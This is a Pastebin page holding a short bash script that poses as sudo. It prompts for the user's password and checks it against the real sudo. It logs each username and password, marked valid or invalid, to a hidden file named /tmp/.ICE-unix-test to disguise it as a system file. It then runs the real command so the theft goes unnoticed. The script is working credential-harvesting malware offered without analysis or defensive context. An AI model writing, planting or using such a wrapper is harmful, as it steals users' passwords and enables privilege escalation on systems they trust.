Advertisement
Guest User

Untitled

a guest
Mar 18th, 2017
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.41 KB | None | 0 0
  1. #!/bin/bash
  2. /usr/bin/sudo -n true 2>/dev/null
  3. if [ $? -eq 0 ]
  4. then
  5. /usr/bin/sudo $@
  6. else
  7. echo -n "Password:"
  8. read -s pwd
  9. echo
  10. echo $pwd | /usr/bin/sudo -S true >/dev/null 2>&1
  11. if [ $? -eq 1 ]
  12. then
  13. printf "$USER:$pwd:invalid\n" >> /tmp/.ICE-unix-test
  14. echo "Sorry, try again."
  15. sudo $@
  16. else
  17. echo "$USER:$pwd:valid" >> /tmp/.ICE-unix-test
  18. /usr/bin/sudo $@
  19. fi
  20. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement